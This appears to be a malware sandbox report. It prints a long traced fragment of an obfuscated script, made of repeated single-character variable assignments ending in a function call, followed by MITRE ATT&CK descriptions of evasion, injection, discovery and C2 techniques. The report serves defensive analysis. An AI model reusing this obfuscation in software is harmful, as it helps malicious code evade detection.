561	baltegnp = "v";
562	baltegnp = "c";
563	baltegnp = "b";
564	baltegnp = "m";
565	baltegnp = "b";
566	baltegnp = "l";
567	baltegnp = "k";
568	baltegnp = "Q";
569	baltegnp = "P";
570	baltegnp = "n";
571	baltegnp = "s";
572	baltegnp = "m";
573	baltegnp = "F";
574	baltegnp = "R";
575	baltegnp = "D";
576	baltegnp = "a";
577	baltegnp = "O";
578	baltegnp = "b";
579	baltegnp = "x";
580	baltegnp = "p";
581	baltegnp = "s";
582	baltegnp = "N";
583	baltegnp = "h";
584	baltegnp = "I";
585	baltegnp = "n";
586	baltegnp = "b";
587	baltegnp = "i";
588	baltegnp = "L";
589	baltegnp = "J";
590	baltegnp = "N";
591	baltegnp = "J";
592	baltegnp = "C";
593	baltegnp = "X";
594	baltegnp = "O";
595	baltegnp = "W";
596	baltegnp = "H";
597	baltegnp = "c";
598	baltegnp = "L";
599	baltegnp = "H";
600	baltegnp = "S";
601	baltegnp = "C";
602	fgprk = "X";
603	fgprk = "n";
604	fgprk = "a";
605	fgprk = "I";
606	fgprk = "x";
607	fgprk = "I";
608	fgprk = "W";
609	fgprk = "E";
610	fgprk = "B";
611	fgprk = "u";
612	fgprk = "z";
613	fgprk = "S";
614	fgprk = "P";
615	fgprk = "G";
616	fgprk = "H";
617	fgprk = "M";
618	fgprk = "d";
619	fgprk = "i";
620	fgprk = "t";
621	fgprk = "O";
622	fgprk = "J";
623	fgprk = "S";
624	fgprk = "d";
625	fgprk = "i";
626	fgprk = "D";
627	fgprk = "U";
628	xfboynyvg = "q";
629	xfboynyvg = "Z";
630	xfboynyvg = "I";
631	xfboynyvg = "V";
632	xfboynyvg = "A";
633	xfboynyvg = "V";
634	xfboynyvg = "V";
635	xfboynyvg = "K";
636	xfboynyvg = "y";
637	xfboynyvg = "f";
638	xfboynyvg = "g";
639	xfboynyvg = "v";
640	lbmkeskj = "j";
641	lbmkeskj = "q";
642	lbmkeskj = "h";
643	lbmkeskj = "V";
644	lbmkeskj = "H";
645	lbmkeskj = "J";
646	lbmkeskj = "b";
647	lbmkeskj = "N";
648	lbmkeskj = "C";
649	lbmkeskj = "P";
650	lbmkeskj = "F";
651	lbmkeskj = "q";
652	lbmkeskj = "o";
653	lbmkeskj = "y";
654	lbmkeskj = "U";
655	lbmkeskj = "s";
656	lbmkeskj = "f";
657	lbmkeskj = "I";
658	lbmkeskj = "P";
659	lbmkeskj = "c";
660	lbmkeskj = "\\";
661	zadidc = "y";
662	zadidc = "q";
663	zadidc = "N";
664	zadidc = "L";
665	zadidc = "q";
666	zadidc = "B";
667	zadidc = "W";
668	zadidc = "c";
669	zadidc = "W";
670	zadidc = "D";
671	zadidc = "O";
672	zadidc = "o";
673	zadidc = "H";
674	zadidc = "w";
675	zadidc = "G";
676	zadidc = "A";
677	zadidc = "z";
678	zadidc = "r";
679	zadidc = "Y";
680	zadidc = "F";
681	zadidc = "X";
682	zadidc = "t";
683	zadidc = "b";
684	zadidc = "R";
685	zadidc = "o";
686	zadidc = "k";
687	pmauldkms = "H";
688	pmauldkms = "p";
689	pmauldkms = "j";
690	pmauldkms = "q";
691	pmauldkms = "k";
692	pmauldkms = "N";
693	pmauldkms = "e";
694	pmauldkms = "X";
695	pmauldkms = "Q";
696	pmauldkms = "p";
697	pmauldkms = "y";
698	pmauldkms = "X";
699	pmauldkms = "i";
700	pmauldkms = "N";
701	pmauldkms = "s";
702	pmauldkms = "E";
703	pmauldkms = "e";
704	pmauldkms = "i";
705	pmauldkms = "P";
706	pmauldkms = "b";
707	pmauldkms = "x";
708	pmauldkms = "c";
709	pmauldkms = "F";
710	pmauldkms = "C";
711	pmauldkms = "C";
712	pmauldkms = "g";
713	pmauldkms = "B";
714	pmauldkms = "M";
715	pmauldkms = "Z";
716	pmauldkms = "F";
717	pmauldkms = "s";
718	pmauldkms = "A";
719	pmauldkms = "i";
720	tcdhhhky = "v";
721	tcdhhhky = "G";
722	tcdhhhky = "w";
723	tcdhhhky = "v";
724	tcdhhhky = "w";
725	tcdhhhky = "D";
726	tcdhhhky = "w";
727	tcdhhhky = "d";
728	tcdhhhky = "v";
729	tcdhhhky = "d";
730	tcdhhhky = "X";
731	tcdhhhky = "a";
732	tcdhhhky = "t";
733	tcdhhhky = "l";
734	tcdhhhky = "J";
735	tcdhhhky = "l";
736	tcdhhhky = "n";
737	tcdhhhky = "Z";
738	tcdhhhky = "C";
739	tcdhhhky = "l";
740	tcdhhhky = "U";
741	tcdhhhky = "Y";
742	tcdhhhky = "o";
743	tcdhhhky = "b";
744	tcdhhhky = "g";
745	tcdhhhky = "R";
746	tcdhhhky = "y";
747	tcdhhhky = "b";
748	tcdhhhky = "P";
749	tcdhhhky = "k";
750	tcdhhhky = "W";
751	tcdhhhky = "q";
752	tcdhhhky = "P";
753	tcdhhhky = "K";
754	tcdhhhky = "H";
755	tcdhhhky = "Y";
756	tcdhhhky = "U";
757	tcdhhhky = "H";
758	tcdhhhky = "A";
759	tcdhhhky = "L";
760	tcdhhhky = "D";
761	tcdhhhky = "3";
762	kecykq = "X";
763	kecykq = "I";
764	kecykq = "V";
765	kecykq = "d";
766	kecykq = "E";
767	kecykq = "l";
768	kecykq = "j";
769	kecykq = "M";
770	kecykq = "V";
771	kecykq = "G";
772	kecykq = "L";
773	kecykq = "T";
774	kecykq = "f";
775	kecykq = "k";
776	kecykq = "r";
777	kecykq = "Z";
778	kecykq = "q";
779	kecykq = "q";
780	kecykq = "D";
781	kecykq = "O";
782	kecykq = "S";
783	kecykq = "r";
784	kecykq = "i";
785	kecykq = "h";
786	kecykq = "U";
787	kecykq = "J";
788	kecykq = "p";
789	kecykq = "y";
790	kecykq = "b";
791	kecykq = "K";
792	kecykq = "m";
793	kecykq = "j";
794	kecykq = "p";
795	kecykq = "o";
796	kecykq = "R";
797	kecykq = "o";
798	kecykq = "f";
799	kecykq = "q";
800	kecykq = "f";
801	kecykq = "s";
802	kecykq = "P";
803	qxgiksmwb = "z";
804	qxgiksmwb = "a";
805	qxgiksmwb = "E";
806	qxgiksmwb = "Y";
807	qxgiksmwb = "j";
808	qxgiksmwb = "R";
809	qxgiksmwb = "p";
810	qxgiksmwb = "H";
811	qxgiksmwb = "B";
812	qxgiksmwb = "v";
813	qxgiksmwb = "r";
814	qxgiksmwb = "J";
815	qxgiksmwb = "y";
816	qxgiksmwb = "d";
817	qxgiksmwb = "a";
818	qxgiksmwb = "l";
819	qxgiksmwb = "g";
820	qxgiksmwb = "z";
821	qxgiksmwb = "B";
822	qxgiksmwb = "A";
823	qxgiksmwb = "c";
824	qxgiksmwb = "L";
825	qxgiksmwb = "w";
826	qxgiksmwb = "R";
827	qxgiksmwb = "R";
828	qxgiksmwb = "Q";
829	qxgiksmwb = "d";
830	qxgiksmwb = "O";
831	qxgiksmwb = "K";
832	qxgiksmwb = "l";
833	qxgiksmwb = "c";
834	qxgiksmwb = "C";
835	qxgiksmwb = "b";
836	qxgiksmwb = "M";
837	qxgiksmwb = "f";
838	qxgiksmwb = "W";
839	qxgiksmwb = "i";
840	qxgiksmwb = "B";
841	qxgiksmwb = "u";
842	qxgiksmwb = "N";
843	ynotg = "v";
844	ynotg = "y";
845	ynotg = "y";
846	ynotg = "e";
847	ynotg = "d";
848	ynotg = "X";
849	ynotg = "M";
850	ynotg = "w";
851	ynotg = "T";
852	xksjrhkj = "P";
853	xksjrhkj = "m";
854	xksjrhkj = "R";
855	xksjrhkj = "N";
856	xksjrhkj = "S";
857	xksjrhkj = "q";
858	xksjrhkj = "T";
859	xksjrhkj = "q";
860	xksjrhkj = "H";
861	xksjrhkj = "r";
862	xksjrhkj = "/";
863	wtpysxz = "n";
864	wtpysxz = "j";
865	wtpysxz = "E";
866	wtpysxz = "U";
867	wtpysxz = "V";
868	wtpysxz = "k";
869	wtpysxz = "U";
870	wtpysxz = "L";
871	wtpysxz = "m";
872	wtpysxz = "Z";
873	wtpysxz = "I";
874	wtpysxz = "v";
875	wtpysxz = "W";
876	wtpysxz = "z";
877	wtpysxz = "H";
878	wtpysxz = "k";
879	wtpysxz = "Z";
880	wtpysxz = "y";
881	wtpysxz = "z";
882	wtpysxz = "-";
883	skuqcxkxu = "x";
884	skuqcxkxu = "X";
885	skuqcxkxu = "J";
886	skuqcxkxu = "y";
887	skuqcxkxu = "b";
888	skuqcxkxu = "e";
889	skuqcxkxu = "M";
890	skuqcxkxu = "R";
891	skuqcxkxu = "X";
892	skuqcxkxu = "i";
893	skuqcxkxu = "X";
894	skuqcxkxu = "A";
895	skuqcxkxu = "A";
896	skuqcxkxu = "y";
897	skuqcxkxu = "C";
898	skuqcxkxu = "W";
899	skuqcxkxu = "s";
900	skuqcxkxu = "M";
901	skuqcxkxu = "0";
902	dgocdil = "F";
903	dgocdil = "v";
904	dgocdil = "c";
905	dgocdil = "t";
906	dgocdil = "K";
907	dgocdil = "b";
908	dgocdil = "B";
909	dgocdil = "y";
910	dgocdil = "B";
911	dgocdil = "h";
912	dgocdil = "P";
913	dgocdil = "j";
914	dgocdil = "n";
915	dgocdil = "S";
916	dgocdil = "q";
917	dgocdil = "m";
918	dgocdil = "f";
919	dgocdil = "C";
920	dgocdil = "D";
921	dgocdil = "T";
922	dgocdil = "s";
923	dgocdil = "X";
924	dgocdil = "t";
925	dgocdil = "z";
926	dgocdil = "m";
927	dgocdil = "I";
928	dgocdil = "r";
929	dgocdil = "e";
930	dgocdil = "v";
931	dgocdil = "y";
932	dgocdil = "t";
933	cobeps = "n";
934	cobeps = "x";
935	cobeps = "a";
936	cobeps = "b";
937	cobeps = "e";
938	cobeps = "s";
939	cobeps = "L";
940	cobeps = "i";
941	cobeps = "m";
942	cobeps = "Y";
943	cobeps = "O";
944	cobeps = "i";
945	cobeps = "P";
946	cobeps = "Z";
947	cobeps = "c";
948	cobeps = "p";
949	cobeps = "B";
950	cobeps = "L";
951	cobeps = "q";
952	cobeps = "y";
953	cobeps = "X";
954	cobeps = "Q";
955	cobeps = "m";
956	cobeps = "E";
957	swbstwzm = "a";
958	swbstwzm = "v";
959	swbstwzm = "w";
960	swbstwzm = "L";
961	swbstwzm = "e";
962	swbstwzm = "v";
963	swbstwzm = "I";
964	swbstwzm = "g";
965	swbstwzm = "U";
966	swbstwzm = "L";
967	swbstwzm = "N";
968	swbstwzm = "x";
969	swbstwzm = "c";
970	swbstwzm = "O";
971	swbstwzm = "g";
972	swbstwzm = "T";
973	swbstwzm = "A";
974	swbstwzm = "X";
975	swbstwzm = "j";
976	swbstwzm = "Q";
977	swbstwzm = "b";
978	swbstwzm = "P";
979	swbstwzm = "g";
980	swbstwzm = "I";
981	swbstwzm = "l";
982	swbstwzm = "F";
983	swbstwzm = "P";
984	swbstwzm = "y";
985	swbstwzm = "w";
986	swbstwzm = "H";
987	xjfbmype = "S";
988	xjfbmype = "N";
989	xjfbmype = "Q";
990	xjfbmype = "Y";
991	xjfbmype = "d";
992	xjfbmype = "W";
993	xjfbmype = "F";
994	xjfbmype = "f";
995	xjfbmype = "Q";
996	xjfbmype = "G";
997	xjfbmype = "F";
998	xjfbmype = "m";
999	xjfbmype = "X";
1000	xjfbmype = "e";
1001	xjfbmype = "Z";
1002	xjfbmype = "B";
1003	xjfbmype = "U";
1004	xjfbmype = "f";
1005	xjfbmype = "h";
1006	xjfbmype = "W";
1007	xjfbmype = "q";
1008	xjfbmype = "A";
1009	xjfbmype = "p";
1010	xjfbmype = "g";
1011	xjfbmype = "b";
1012	xjfbmype = "G";
1013	xjfbmype = "K";
1014	xjfbmype = "i";
1015	xjfbmype = "z";
1016	xjfbmype = "X";
1017	xjfbmype = "S";
1018	xjfbmype = "e";
1019	xjfbmype = "f";
1020	xjfbmype = "C";
1021	xjfbmype = "O";
1022	xjfbmype = "e";
1023	xjfbmype = "y";
1024	xjfbmype = "v";
1025	xjfbmype = "s";
1026	xjfbmype = "T";
1027	xjfbmype = "d";
1028	xjfbmype = "U";
1029	xjfbmype = "H";
1030	xjfbmype = "Q";
1031	nbqvxwzx = "i";
1032	nbqvxwzx = "O";
1033	nbqvxwzx = "x";
1034	nbqvxwzx = "q";
1035	nbqvxwzx = "L";
1036	uvouhm = "G";
1037	uvouhm = "J";
1038	uvouhm = "j";
1039	uvouhm = "v";
1040	uvouhm = "P";
1041	uvouhm = "v";
1042	uvouhm = "E";
1043	uvouhm = "V";
1044	uvouhm = "i";
1045	uvouhm = "G";
1046	uvouhm = "O";
1047	uvouhm = "R";
1048	uvouhm = "y";
1049	uvouhm = "k";
1050	uvouhm = "q";
1051	uvouhm = "V";
1052	uvouhm = "f";
1053	uvouhm = "u";
1054	uvouhm = "C";
1055	uvouhm = "S";
1056	uvouhm = "d";
1057	uvouhm = "h";
1058	uvouhm = "g";
1059	uvouhm = "C";
1060	uvouhm = "d";
1061	uvouhm = "j";
1062	uvouhm = "V";
1063	uvouhm = "T";
1064	uvouhm = "w";
1065	uvouhm = "D";
1066	uvouhm = "k";
1067	uvouhm = "o";
1068	uvouhm = "E";
1069	uvouhm = "E";
1070	uvouhm = "S";
1071	uvouhm = "g";
1072	uvouhm = "V";
1073	uvouhm = "k";
1074	uvouhm = "w";
1075	uvouhm = "A";
1076	uvouhm = "O";
1077	uvouhm = "u";
1078	uvouhm = "F";
1079	zczmx = "w";
1080	zczmx = "g";
1081	zczmx = "A";
1082	zczmx = "n";
1083	zczmx = "m";
1084	zczmx = "G";
1085	zczmx = "n";
1086	zczmx = "S";
1087	zczmx = "z";
1088	zczmx = "k";
1089	zczmx = "s";
1090	zczmx = "f";
1091	zczmx = "b";
1092	zczmx = "d";
1093	zczmx = "o";
1094	zczmx = "T";
1095	zczmx = "H";
1096	zczmx = "A";
1097	zczmx = "O";
1098	zczmx = "v";
1099	zczmx = "s";
1100	zczmx = "h";
1101	zczmx = "w";
1102	zczmx = "v";
1103	zczmx = "E";
1104	zczmx = "i";
1105	zczmx = "T";
1106	zczmx = "J";
1107	zczmx = "E";
1108	zczmx = "d";
1109	zczmx = "d";
1110	zczmx = "f";
1111	zczmx = "A";
1112	zczmx = "t";
1113	zczmx = "q";
1114	zczmx = "S";
1115	zczmx = "6";
1116	qkogvmzeq = "D";
1117	qkogvmzeq = "i";
1118	qkogvmzeq = "x";
1119	qkogvmzeq = "Z";
1120	qkogvmzeq = "A";
1121	qkogvmzeq = "f";
1122	qkogvmzeq = "l";
1123	qkogvmzeq = "Q";
1124	qkogvmzeq = "c";
1125	qkogvmzeq = "F";
1126	qkogvmzeq = "R";
1127	vhmhsbkel = "c";
1128	vhmhsbkel = "V";
1129	vhmhsbkel = "A";
1130	vhmhsbkel = "E";
1131	vhmhsbkel = "b";
1132	vhmhsbkel = "A";
1133	vhmhsbkel = "L";
1134	vhmhsbkel = "l";
1135	vhmhsbkel = "H";
1136	vhmhsbkel = "h";
1137	vhmhsbkel = "L";
1138	vhmhsbkel = "B";
1139	vhmhsbkel = "O";
1140	vhmhsbkel = "v";
1141	vhmhsbkel = "l";
1142	vhmhsbkel = "J";
1143	vhmhsbkel = "m";
1144	vhmhsbkel = "t";
1145	vhmhsbkel = "f";
1146	vhmhsbkel = "U";
1147	vhmhsbkel = "D";
1148	vhmhsbkel = "r";
1149	vhmhsbkel = "L";
1150	vhmhsbkel = "b";
1151	vhmhsbkel = "T";
1152	vhmhsbkel = "u";
1153	vhmhsbkel = "T";
1154	vhmhsbkel = "w";
1155	vhmhsbkel = "V";
1156	vhmhsbkel = "x";
1157	vhmhsbkel = "P";
1158	vhmhsbkel = "B";
1159	vhmhsbkel = "g";
1160	vhmhsbkel = "K";
1161	kysdogvq = "W";
1162	kysdogvq = "d";
1163	kysdogvq = "S";
1164	kysdogvq = "K";
1165	kysdogvq = "X";
1166	kysdogvq = "K";
1167	kysdogvq = "A";
1168	kysdogvq = "H";
1169	kysdogvq = "V";
1170	kysdogvq = "w";
1171	kysdogvq = "R";
1172	kysdogvq = "a";
1173	kysdogvq = "2";
1174	ypjkj = "x";
1175	ypjkj = "s";
1176	ryfzkz = "d";
1177	ryfzkz = "f";
1178	ryfzkz = "b";
1179	ryfzkz = "P";
1180	ryfzkz = "A";
1181	ryfzkz = "u";
1182	ryfzkz = "J";
1183	ryfzkz = "s";
1184	ryfzkz = "t";
1185	ryfzkz = "Z";
1186	ryfzkz = "V";
1187	ryfzkz = "a";
1188	ryfzkz = "M";
1189	ryfzkz = "h";
1190	ryfzkz = "a";
1191	ryfzkz = "g";
1192	ryfzkz = "k";
1193	ryfzkz = "A";
1194	ryfzkz = "L";
1195	ryfzkz = "B";
1196	ryfzkz = "P";
1197	ryfzkz = "Z";
1198	ryfzkz = "X";
1199	ryfzkz = "i";
1200	ryfzkz = "g";
1201	ryfzkz = "I";
1202	ryfzkz = "J";
1203	ryfzkz = "i";
1204	ryfzkz = "Z";
1205	ryfzkz = "k";
1206	ryfzkz = "e";
1207	ryfzkz = "A";
1208	ryfzkz = "s";
1209	ryfzkz = "S";
1210	ryfzkz = "g";
1211	ryfzkz = "J";
1212	ryfzkz = "K";
1213	ryfzkz = "f";
1214	ryfzkz = "u";
1215	ryfzkz = "X";
1216	ryfzkz = "y";
1217	ryfzkz = "l";
1218	ryfzkz = "I";
1219	ryfzkz = "V";
1220	ryfzkz = "I";
1221	wsswdiyn = "y";
1222	wsswdiyn = "A";
1223	wsswdiyn = "H";
1224	wsswdiyn = "J";
1225	wsswdiyn = "M";
1226	wsswdiyn = "y";
1227	wsswdiyn = "u";
1228	wsswdiyn = "i";
1229	wsswdiyn = "u";
1230	wsswdiyn = "P";
1231	wsswdiyn = "t";
1232	wsswdiyn = "c";
1233	wsswdiyn = "R";
1234	wsswdiyn = "o";
1235	wsswdiyn = "k";
1236	wsswdiyn = "D";
1237	wsswdiyn = "w";
1238	wsswdiyn = "A";
1239	wsswdiyn = "N";
1240	wsswdiyn = "J";
1241	wsswdiyn = "N";
1242	wsswdiyn = "n";
1243	wsswdiyn = "h";
1244	wsswdiyn = "y";
1245	wsswdiyn = "b";
1246	wsswdiyn = "Y";
1247	wsswdiyn = "P";
1248	wsswdiyn = "U";
1249	wsswdiyn = "M";
1250	wsswdiyn = "n";
1251	wsswdiyn = "v";
1252	wsswdiyn = "A";
1253	wsswdiyn = "h";
1254	wsswdiyn = "A";
1255	wsswdiyn = "c";
1256	wsswdiyn = "l";
1257	wsswdiyn = "w";
1258	wsswdiyn = "b";
1259	wsswdiyn = "v";
1260	wsswdiyn = "E";
1261	wsswdiyn = "r";
1262	wsswdiyn = "U";
1263	wsswdiyn = "y";
1264	wsswdiyn = "c";
1265	aqysng = "m";
1266	aqysng = "v";
1267	aqysng = "B";
1268	aqysng = "n";
1269	aqysng = "L";
1270	aqysng = "u";
1271	aqysng = "B";
1272	aqysng = "p";
1273	aqysng = "Z";
1274	aqysng = "q";
1275	aqysng = "l";
1276	aqysng = "K";
1277	aqysng = "l";
1278	aqysng = "y";
1279	aqysng = "Y";
1280	aqysng = "q";
1281	aqysng = "b";
1282	aqysng = "D";
1283	aqysng = "h";
1284	aqysng = "R";
1285	aqysng = "D";
1286	aqysng = "O";
1287	aqysng = "i";
1288	aqysng = "y";
1289	aqysng = "u";
1290	aqysng = "E";
1291	aqysng = "b";
1292	aqysng = "r";
1293	aqysng = "M";
1294	aqysng = "k";
1295	aqysng = "N";
1296	aqysng = "Y";
1297	aqysng = "H";
1298	aqysng = "t";
1299	aqysng = "c";
1300	aqysng = "C";
1301	aqysng = "9";
1302	pzvcy = "S";
1303	pzvcy = "h";
1304	pzvcy = "a";
1305	pzvcy = "R";
1306	pzvcy = "B";
1307	pzvcy = "e";
1308	pzvcy = "d";
1309	pzvcy = "v";
1310	pzvcy = "p";
1311	pzvcy = "v";
1312	pzvcy = "t";
1313	pzvcy = "w";
1314	mbvpyfa = "T";
1315	mbvpyfa = "a";
1316	mbvpyfa = "Y";
1317	mbvpyfa = "h";
1318	mbvpyfa = "L";
1319	mbvpyfa = "g";
1320	mbvpyfa = "U";
1321	mbvpyfa = "S";
1322	mbvpyfa = "C";
1323	mbvpyfa = "m";
1324	mbvpyfa = "n";
1325	mbvpyfa = "I";
1326	mbvpyfa = "a";
1327	mbvpyfa = "X";
1328	mbvpyfa = "B";
1329	mbvpyfa = "L";
1330	mbvpyfa = "e";
1331	mbvpyfa = "a";
1332	mbvpyfa = "M";
1333	mbvpyfa = "I";
1334	mbvpyfa = "k";
1335	mbvpyfa = "J";
1336	mbvpyfa = "x";
1337	mbvpyfa = "Y";
1338	mbvpyfa = "A";
1339	mbvpyfa = "t";
1340	mbvpyfa = "S";
1341	mbvpyfa = "r";
1342	mbvpyfa = "S";
1343	mbvpyfa = "L";
1344	mbvpyfa = "b";
1345	mbvpyfa = "T";
1346	mbvpyfa = "f";
1347	mbvpyfa = "D";
1348	mbvpyfa = "x";
1349	mbvpyfa = "Y";
1350	mbvpyfa = "5";
1351	ltfvrnh = "c";
1352	ltfvrnh = "O";
1353	ltfvrnh = "X";
1354	ltfvrnh = "c";
1355	ltfvrnh = "J";
1356	ltfvrnh = "G";
1357	ltfvrnh = "u";
1358	ltfvrnh = "d";
1359	ltfvrnh = "R";
1360	ltfvrnh = "i";
1361	ltfvrnh = "Z";
1362	ltfvrnh = "Z";
1363	ltfvrnh = "N";
1364	ltfvrnh = "q";
1365	ltfvrnh = "z";
1366	ltfvrnh = "n";
1367	ltfvrnh = "g";
1368	bofojft = "W";
1369	bofojft = "G";
1370	bofojft = "I";
1371	bofojft = "V";
1372	bofojft = "T";
1373	bofojft = "q";
1374	bofojft = "V";
1375	bofojft = "r";
1376	bofojft = "h";
1377	bofojft = "z";
1378	bofojft = "x";
1379	bofojft = "M";
1380	bofojft = "O";
1381	bofojft = "I";
1382	bofojft = "g";
1383	bofojft = "a";
1384	bofojft = "s";
1385	bofojft = "z";
1386	bofojft = "k";
1387	bofojft = "h";
1388	bofojft = "p";
1389	bofojft = "8";
1390	tluxg ( );	tluxg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

